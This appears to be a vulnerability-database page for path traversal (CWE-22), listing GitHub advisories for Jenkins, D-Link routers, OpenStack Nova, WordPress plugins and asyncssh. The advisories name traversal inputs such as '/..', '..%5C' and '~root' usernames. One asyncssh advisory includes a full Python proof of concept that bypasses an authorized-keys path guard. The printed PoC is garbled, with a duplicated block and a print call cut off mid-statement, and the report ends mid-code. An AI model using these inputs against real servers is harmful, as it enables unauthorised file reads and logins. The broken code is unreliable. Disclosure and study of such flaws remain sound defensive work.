CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
15153 vulnerabilities reference this CWE, most recent first.
GHSA-QR34-62C5-85QP
Vulnerability from github – Published: 2022-04-27 00:00 – Updated: 2022-05-05 00:00Verydows v2.0 was discovered to contain an arbitrary file deletion vulnerability via \backend\file_controller.php.
{
"affected": [],
"aliases": [
"CVE-2022-28058"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-26T21:15:00Z",
"severity": "HIGH"
},
"details": "Verydows v2.0 was discovered to contain an arbitrary file deletion vulnerability via \\backend\\file_controller.php.",
"id": "GHSA-qr34-62c5-85qp",
"modified": "2022-05-05T00:00:36Z",
"published": "2022-04-27T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28058"
},
{
"type": "WEB",
"url": "https://github.com/Verytops/verydows/issues/20"
},
{
"type": "WEB",
"url": "https://github.com/zhendezuile/bug_report/blob/main/bug_c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QR3W-MV9R-8GF8
Vulnerability from github – Published: 2022-05-14 01:39 – Updated: 2022-05-14 01:39Directory traversal vulnerability in the web interface on D-Link DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 devices allows remote attackers to read arbitrary files via a /.. or // after "GET /uir" in an HTTP request. NOTE: this vulnerability exists because of an incorrect fix for CVE-2017-6190.
{
"affected": [],
"aliases": [
"CVE-2018-10822"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-17T14:29:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in the web interface on D-Link DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 devices allows remote attackers to read arbitrary files via a /.. or // after \"GET /uir\" in an HTTP request. NOTE: this vulnerability exists because of an incorrect fix for CVE-2017-6190.",
"id": "GHSA-qr3w-mv9r-8gf8",
"modified": "2022-05-14T01:39:32Z",
"published": "2022-05-14T01:39:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10822"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2018/Oct/36"
},
{
"type": "WEB",
"url": "http://sploit.tech/2018/10/12/D-Link.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QR42-82QJ-MW65
Vulnerability from github – Published: 2022-05-24 16:50 – Updated: 2024-03-12 15:58A path traversal vulnerability in Jenkins 2.185 and earlier, LTS 2.176.1 and earlier in core/src/main/java/hudson/model/FileParameterValue.java allowed attackers with Job/Configure permission to define a file parameter with a file name outside the intended directory, resulting in an arbitrary file write on the Jenkins master when scheduling a build.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.176.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.176.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.185"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.177"
},
{
"fixed": "2.186"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10352"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-28T22:59:12Z",
"nvd_published_at": "2019-07-17T16:15:00Z",
"severity": "MODERATE"
},
"details": "A path traversal vulnerability in Jenkins 2.185 and earlier, LTS 2.176.1 and earlier in `core/src/main/java/hudson/model/FileParameterValue.java` allowed attackers with Job/Configure permission to define a file parameter with a file name outside the intended directory, resulting in an arbitrary file write on the Jenkins master when scheduling a build.",
"id": "GHSA-qr42-82qj-mw65",
"modified": "2024-03-12T15:58:35Z",
"published": "2022-05-24T16:50:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10352"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/18fc7c0b466553cbd4f790db3270964305bee7f9"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2503"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2548"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-07-17/#SECURITY-1424"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200227033157/http://www.securityfocus.com/bid/109299"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2019-35"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/07/17/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Limitation of a Pathname to a Restricted Directory in Jenkins"
}
GHSA-QR4M-QXP9-H6PG
Vulnerability from github – Published: 2022-05-17 05:17 – Updated: 2025-04-11 04:05Multiple directory traversal vulnerabilities in Axway SecureTransport 5.1 SP2 and earlier allow remote authenticated users to (1) read, (2) delete, or (3) create files, or (4) list directories, via a ..%5C (encoded dot dot backslash) in a URI.
{
"affected": [],
"aliases": [
"CVE-2012-4991"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-12-13T11:53:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in Axway SecureTransport 5.1 SP2 and earlier allow remote authenticated users to (1) read, (2) delete, or (3) create files, or (4) list directories, via a ..%5C (encoded dot dot backslash) in a URI.",
"id": "GHSA-qr4m-qxp9-h6pg",
"modified": "2025-04-11T04:05:36Z",
"published": "2022-05-17T05:17:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4991"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/23324"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QR5Q-5VGW-WGHH
Vulnerability from github – Published: 2022-05-13 01:25 – Updated: 2025-04-11 03:54Absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.
{
"affected": [],
"aliases": [
"CVE-2012-0896"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-01-20T17:55:00Z",
"severity": "MODERATE"
},
"details": "Absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.",
"id": "GHSA-qr5q-5vgw-wghh",
"modified": "2025-04-11T03:54:22Z",
"published": "2022-05-13T01:25:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0896"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/72385"
},
{
"type": "WEB",
"url": "http://osvdb.org/78270"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/files/108631/countperday-downloadxss.txt"
},
{
"type": "WEB",
"url": "http://plugins.trac.wordpress.org/changeset/488883/count-per-day"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/47529"
},
{
"type": "WEB",
"url": "http://wordpress.org/extend/plugins/count-per-day/changelog"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/18355"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/51402"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QR62-R9XC-R2GJ
Vulnerability from github – Published: 2022-05-14 01:58 – Updated: 2024-05-14 21:13Multiple directory traversal vulnerabilities in OpenStack Nova before 2011.3.1, when the EC2 API and the S3/RegisterImage image-registration method are enabled, allow remote authenticated users to overwrite arbitrary files via a crafted (1) tarball or (2) manifest.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nova"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.0.0a0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2011-4596"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-14T21:13:50Z",
"nvd_published_at": "2011-12-23T22:55:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in OpenStack Nova before 2011.3.1, when the EC2 API and the S3/RegisterImage image-registration method are enabled, allow remote authenticated users to overwrite arbitrary files via a crafted (1) tarball or (2) manifest.",
"id": "GHSA-qr62-r9xc-r2gj",
"modified": "2024-05-14T21:13:50Z",
"published": "2022-05-14T01:58:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4596"
},
{
"type": "WEB",
"url": "https://github.com/openstack/nova/commit/76363226bd8533256f7795bba358d7f4b8a6c9e6"
},
{
"type": "WEB",
"url": "https://github.com/openstack/nova/commit/ad3241929ea00569c74505ed002208ce360c667e"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/nova/+bug/885167"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/nova/+bug/894755"
},
{
"type": "PACKAGE",
"url": "https://github.com/openstack/nova"
},
{
"type": "WEB",
"url": "https://lists.launchpad.net/openstack/msg06105.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "OpenStack Nova Multiple directory traversal vulnerabilities"
}
GHSA-QR66-8JMV-PHV2
Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-08-18 15:31Shop manager Arbitrary File Download in CTX Feed <= 6.6.47 versions.
{
"affected": [],
"aliases": [
"CVE-2026-73383"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T15:17:06Z",
"severity": "MODERATE"
},
"details": "Shop manager Arbitrary File Download in CTX Feed \u003c= 6.6.47 versions.",
"id": "GHSA-qr66-8jmv-phv2",
"modified": "2026-08-18T15:31:49Z",
"published": "2026-08-18T15:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73383"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/webappick-product-feed-for-woocommerce/vulnerability/wordpress-ctx-feed-plugin-6-6-46-arbitrary-file-download-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QR67-GV47-XWWH
Vulnerability from github – Published: 2026-08-26 15:32 – Updated: 2026-08-26 15:32Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).
## Summary
The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:
if self._user == '..' or '/' in self._user or '\\' in self._user:
raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 —
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.
The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.
## Primary vector — leading ~
A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)
## Impact and limitations
- Demonstrated (verified against source at a60f863): the guard is
bypassable and the authorized-keys lookup is redirected to an
attacker-named home tree, pre-auth, with a separator-free username.
- Impact model = identical to CVE-2026-45309: authenticating as the
redirected username when a readable authorized-keys file containing
the attacker's key is reachable at the redirected location. The parent
CVE accepted this exact precondition and was scored C:N/I:H/A:N;
this is scored consistently.
- Not built: a live multi-account SSH auth harness; the PoC verifies
the path-redirection mechanism in-process, deterministically. No new
primitive is claimed beyond the parent CVE's accepted model — only
that the 2.23.0 fix does not close it for ~/${ENV}.
- Preconditions (captured by AC:H): %u must be the leading path
component; on Python 3.13, Path('~nonexistentuser').expanduser()
raises RuntimeError, so only existing accounts are reachable
(confirmed: asyncssh 2.23.0, Python 3.13.12).
## Secondary vector — ${ENV} (defense-in-depth only)
A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.
## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh
PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present)
literal-slash user '/etc' blocked: True
[A] tilde bypass user '~root':
guard blocks it? False (False == bypass)
expanded config value : ['~root/.ssh/authorized_keys']
after expanduser() : /root/.ssh/authorized_keys <-- read as authorized_keys
VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
## Suggested fix
Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion — reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.
## Disclosure
Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.
## PoC source (see code block below)
#!/usr/bin/env python3
"""
PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
SSHServerConfig._set_tokens that rejects a client username containing
'/', '\\', or equal to '..' before it is substituted for the %u token in
the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run
through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
a separator-free username (e.g. '~root') escape to another home tree when %u
is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
only REFERENCE env vars that already exist on the server and cannot control
their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
illustrate the expansion, and does NOT represent attacker capability. Treat (1)
as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.:
cd /tmp/targets/asyncssh && python3 <thisfile>
"""
import os
import sys
import tempfile
from pathlib import Path
import asyncssh
from asyncssh.config import SSHServerConfig
try:
from asyncssh.misc import IllegalUserName
except Exception: # pragma: no cover
IllegalUserName = asyncssh.IllegalUserName
def expand_authkeys(user, cfg_text):
"""Load a server config exactly as SSHServerConnection does and return the
expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
CVE-2026-45309 guard fires."""
with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
f.write(cfg_text)
cfg_path = f.name
try:
# mirror connection.py:8897
# SSHServerConfig.load(last_config, config, reload, canonical, final,
# accept_addr, accept_port, username,
# client_host, client_addr)
cfg = SSHServerConfig.load(
None, cfg_path, True, False, False,
"127.0.0.1", 22, user, "client.example", "203.0.113.7",
)
return cfg.get("AuthorizedKeysFile")
finally:
os.unlink(cfg_path)
def guard_blocks(user, cfg_text):
"""Return True if the CVE-2026-45309 guard rejects this username."""
try:
expand_authkeys(user, cfg_text)
return False
except IllegalUserName:
return True
def main():
print(f"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})")
print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally -----------------------
cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
val = expand_authkeys("alice", cfg)
print(f"[0] benign user 'alice': {val}")
results.append(("benign expands to per-user path",
val == ["/etc/ssh/authorized_keys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
blocked = guard_blocks("../../../../tmp/evil", cfg)
print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose)
slash_blocked = guard_blocks("/etc", cfg)
print(f" literal-slash user '/etc' blocked: {slash_blocked}")
results.append(("literal-slash username is blocked", slash_blocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
blocked_a = guard_blocks("~root", cfg_a)
val_a = expand_authkeys("~root", cfg_a)
resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does
print(f"[A] tilde bypass user '~root':")
print(f" guard blocks it? {blocked_a} (False == bypass)")
print(f" expanded config value : {val_a}")
print(f" after expanduser() : {resolved_a} <-- read as authorized_keys")
results.append(("A: ~user NOT blocked by guard", not blocked_a))
results.append(("A: expanduser() redirects to another home tree",
resolved_a.startswith("/root/") or "~" not in resolved_a))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
if ok else "one or more checks did not hold")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.23.0"
},
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.23.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54590"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T15:32:00Z",
"nvd_published_at": "2026-07-08T21:16:49Z",
"severity": "MODERATE"
},
"details": "**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n 2.23.0 guard that sanitises the SSH username before `%u` substitution\n in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n leading `~` (or `${ENV}`), both of which are re-introduced by later\n expansion and reach the file open \u2014 defeating the guard.\n\n **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n HEAD on 2026-05-29).\n\n ## Summary\n The fix for CVE-2026-45309 added a guard in\n `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n if self._user == \u0027..\u0027 or \u0027/\u0027 in self._user or \u0027\\\\\u0027 in self._user:\n raise IllegalUserName(\u0027Unsafe username substitution\u0027)\n\n However, the `%u`-substituted value is subsequently passed through\n environment-variable expansion (`_expand_val`, `config.py:145-149` \u2014\n token expansion then env expansion) and, at file-open time, through\n `expanduser()` (`read_authorized_keys` \u2192 `read_file` \u2192\n `open(Path(filename).expanduser())`, `auth_keys.py:348` \u2192\n `misc.py:290`). Both re-introduce the path control the guard was meant\n to remove, so a username that contains no `/`/`\\` can still cause the\n server to read an authorized-keys file outside the intended per-user\n directory.\n\n The client-supplied username reaches this path pre-authentication:\n `_process_userauth_request` takes the username from the\n `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n (`connection.py:5906`) before the offered key is validated.\n\n ## Primary vector \u2014 leading `~`\n A username such as `~root` or `~victim` passes the guard (no `/`). For\n a server whose `AuthorizedKeysFile` begins with `%u` \u2014 e.g.\n `AuthorizedKeysFile %u/.ssh/authorized_keys` \u2014 the expanded value is\n `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n `/home/victim/.ssh/authorized_keys` (`~root` \u2192 `/root/...`; a bare `~`\n \u2192 the server process\u0027s home). The username has therefore escaped the\n intended per-user location without using any path separator \u2014\n defeating the purpose of the guard.\n\n Note: `expanduser()` only expands a leading `~`, so this vector\n requires `%u` to be the first path component of `AuthorizedKeysFile`.\n (The CVE-2026-45309 `authorized_keys/%u` example \u2014 `%u` not leading \u2014\n is not reachable this way; that was the `../` form.)\n\n ## Impact and limitations\n - Demonstrated (verified against source at `a60f863`): the guard is\n bypassable and the authorized-keys lookup is redirected to an\n attacker-named home tree, pre-auth, with a separator-free username.\n - Impact model = identical to CVE-2026-45309: authenticating as the\n redirected username when a readable authorized-keys file containing\n the attacker\u0027s key is reachable at the redirected location. The parent\n CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n this is scored consistently.\n - Not built: a live multi-account SSH auth harness; the PoC verifies\n the path-redirection mechanism in-process, deterministically. No new\n primitive is claimed beyond the parent CVE\u0027s accepted model \u2014 only\n that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n - Preconditions (captured by AC:H): `%u` must be the leading path\n component; on Python 3.13, `Path(\u0027~nonexistentuser\u0027).expanduser()`\n raises `RuntimeError`, so only existing accounts are reachable\n (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n ## Secondary vector \u2014 `${ENV}` (defense-in-depth only)\n A username like `${HOME}` also passes the guard and is then\n environment-expanded, re-introducing `/`. Weaker and not a practical\n exploit: the attacker can only reference env vars that already exist\n in the server process (a missing variable raises `ConfigParseError`)\n and cannot control their values. Reported as hardening.\n\n ## Reproduction\n In-process, deterministic, no network. Against a checkout of asyncssh\n 2.23.0:\n\n cd /path/to/asyncssh\n PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n Output (abridged):\n\n [1] original CVE \u0027../../../../tmp/evil\u0027 blocked: True (fix present)\n literal-slash user \u0027/etc\u0027 blocked: True\n [A] tilde bypass user \u0027~root\u0027:\n guard blocks it? False (False == bypass)\n expanded config value : [\u0027~root/.ssh/authorized_keys\u0027]\n after expanduser() : /root/.ssh/authorized_keys \u003c-- read as authorized_keys\n VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n ## Suggested fix\n Tighten `_set_tokens` to also reject usernames that re-introduce path\n control after expansion \u2014 reject a leading `~` / `~user` and `$`/`${`\n references in `self._user`. More robustly, validate that the FINAL\n expanded `AuthorizedKeysFile` path remains within the intended base\n directory, and/or suppress `expanduser`/environment expansion on the\n `%u`-derived component specifically.\n\n ## Disclosure\n Coordinated, ~90-day default. I will not publish details/PoC before a\n fix is released, and am happy to validate the patch. Credit (if given)\n to `cesabici-bit`.\n\n ## PoC source\n (see code block below)\n\n```python\n #!/usr/bin/env python3\n \"\"\"\n PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n control). Local-only, in-process, deterministic. No network.\n\n CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n SSHServerConfig._set_tokens that rejects a client username containing\n \u0027/\u0027, \u0027\\\\\u0027, or equal to \u0027..\u0027 before it is substituted for the %u token in\n the server\u0027s AuthorizedKeysFile directive.\n\n This PoC shows the blocklist is bypassable: the %u value is afterwards run\n through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n re-introduce the path control the guard was meant to remove.\n\n CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() \u2014 it lets\n a separator-free username (e.g. \u0027~root\u0027) escape to another home tree when %u\n is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n only REFERENCE env vars that already exist on the server and cannot control\n their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n cd /tmp/targets/asyncssh \u0026\u0026 python3 \u003cthisfile\u003e\n \"\"\"\n\n import os\n import sys\n import tempfile\n from pathlib import Path\n\n import asyncssh\n from asyncssh.config import SSHServerConfig\n\n try:\n from asyncssh.misc import IllegalUserName\n except Exception: # pragma: no cover\n IllegalUserName = asyncssh.IllegalUserName\n\n\n def expand_authkeys(user, cfg_text):\n \"\"\"Load a server config exactly as SSHServerConnection does and return the\n expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n CVE-2026-45309 guard fires.\"\"\"\n with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n f.write(cfg_text)\n cfg_path = f.name\n try:\n # mirror connection.py:8897\n # SSHServerConfig.load(last_config, config, reload, canonical, final,\n # accept_addr, accept_port, username,\n # client_host, client_addr)\n cfg = SSHServerConfig.load(\n None, cfg_path, True, False, False,\n \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n )\n return cfg.get(\"AuthorizedKeysFile\")\n finally:\n os.unlink(cfg_path)\n\n\n def guard_blocks(user, cfg_text):\n \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n try:\n 